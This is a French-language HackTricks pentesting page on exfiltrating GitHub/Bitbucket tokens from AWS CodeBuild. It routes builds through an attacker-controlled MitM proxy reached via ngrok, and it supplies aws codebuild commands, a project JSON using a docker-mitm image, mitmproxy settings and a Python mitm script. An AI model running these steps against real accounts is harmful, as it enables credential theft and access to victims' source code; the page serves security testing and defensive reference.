AWS Codebuild - Token Leakage

Soutenez HackTricks

Récupérer les jetons configurés Github/Bitbucket

Tout d'abord, vérifiez s'il y a des informations d'identification source configurées que vous pourriez leak :

aws codebuild list-source-credentials

Via Docker Image

Si vous constatez que l'authentification à, par exemple, Github est configurée dans le compte, vous pouvez exfiltrer cet accès (GH token ou OAuth token) en faisant en sorte que Codebuild utilise une image docker spécifique pour exécuter la construction du projet.

À cette fin, vous pouvez créer un nouveau projet Codebuild ou modifier l'environnement d'un projet existant pour définir l'image Docker.

L'image Docker que vous pouvez utiliser est https://github.com/carlospolop/docker-mitm. Il s'agit d'une image Docker très basique qui définira les variables d'environnement https_proxy, http_proxy et SSL_CERT_FILE. Cela vous permettra d'intercepter la plupart du trafic de l'hôte indiqué dans https_proxy et http_proxy et de faire confiance au certificat SSL indiqué dans SSL_CERT_FILE.

  1. Créer et télécharger votre propre image Docker MitM

  • Suivez les instructions du dépôt pour définir l'adresse IP de votre proxy et définir votre certificat SSL et construire l'image docker.

  • NE PAS DÉFINIR http_proxy pour ne pas intercepter les requêtes vers le point de terminaison des métadonnées.

  • Vous pouvez utiliser ngrok comme ngrok tcp 4444 pour définir le proxy vers votre hôte.

  • Une fois l'image Docker construite, téléchargez-la dans un dépôt public (Dockerhub, ECR...)

  1. Définir l'environnement

  • Créez un nouveau projet Codebuild ou modifiez l'environnement d'un projet existant.

  • Configurez le projet pour utiliser l'image Docker générée précédemment.

  1. Configurer le proxy MitM sur votre hôte

  • Comme indiqué dans le dépôt Github, vous pouvez utiliser quelque chose comme :

mitmproxy --listen-port 4444  --allow-hosts "github.com"

La version de mitmproxy utilisée était 9.0.1, il a été rapporté qu'avec la version 10 cela pourrait ne pas fonctionner.

  1. Exécutez la build et capturez les identifiants

  • Vous pouvez voir le token dans l'en-tête Authorization :

Cela pourrait également être fait depuis l'aws cli avec quelque chose comme

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

Via HTTP protocol

Cette vulnérabilité a été corrigée par AWS à un moment donné la semaine du 20 février 2023 (je pense le vendredi). Donc un attaquant ne peut plus en abuser :)

Un attaquant avec des permissions élevées sur un CodeBuild pourrait leak le token Github/Bitbucket configuré ou si les permissions étaient configurées via OAuth, le token OAuth temporaire utilisé pour accéder au code.

  • Un attaquant pourrait ajouter les variables d'environnement http_proxy et https_proxy au projet CodeBuild pointant vers sa machine (par exemple http://5.tcp.eu.ngrok.io:14972).

  • Ensuite, changer l'URL du dépôt github pour utiliser HTTP au lieu de HTTPS, par exemple : **http://**github.com/carlospolop-forks/TestActions

  • Ensuite, exécuter l'exemple de base de https://github.com/synchronizing/mitm sur le port pointé par les variables proxy (http_proxy et https_proxy)

from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Enfin, cliquez sur Build the project, les credentials seront envoyées en clair (base64) au port mitm :

Maintenant, un attaquant pourra utiliser le token depuis sa machine, lister tous les privilèges qu'il possède et en (ab)user plus facilement qu'en utilisant directement le service CodeBuild.

Soutenez HackTricks

Last updated